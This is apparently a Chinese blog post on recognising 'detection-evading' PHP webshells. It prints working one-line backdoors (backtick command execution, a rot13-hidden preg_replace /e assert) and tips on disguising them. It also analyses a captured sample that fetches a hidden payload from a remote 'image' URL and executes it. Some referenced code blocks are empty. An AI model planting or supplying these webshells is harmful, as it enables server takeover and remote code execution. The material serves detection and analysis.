后门查杀php专版,教你识别简单的免查杀PHP后门

一个最常见的一句话后门可能写作这样

或这样

tudouya 同学在FREEBUF上给出[一种构造技巧]利用

代码如下:

构造生成,当然,嫌太直观可以写作这样

代码如下:

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

我们再来看看号称史上最简单免查杀php后门

直接上代码:

$c=urldecode($_GET['c']);if($c){`$c`;}//完整

!$_GET['c']||`{$_GET['c']}`;//精简

/*******************************************************

* 原理:PHP中``符号包含会当作系统命令执行

* 示例:http://host/?c=type%20config.php>config.txt

* 然后就可以下载config.txt查看内容了!

* 可以试试更变态的命令,不要干坏事哦!

*******************************************************/

其实现原理就是PHP会直接将 ` 符号(注意:不是单引号)包含的内容解析为系统命令执行!这样就可以自由变态地扩展了!

再来看同样很简单的一段代码

preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft");

?>

密码page

近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。

Webshell代码如下:

error_reporting(0);

session_start();

header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))

$_SESSION['api']=substr(file_get_contents(

sprintf('%s?%s',pack("H*",

'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);

?>

关键看下面这句代码,

代码如下:

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里执行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值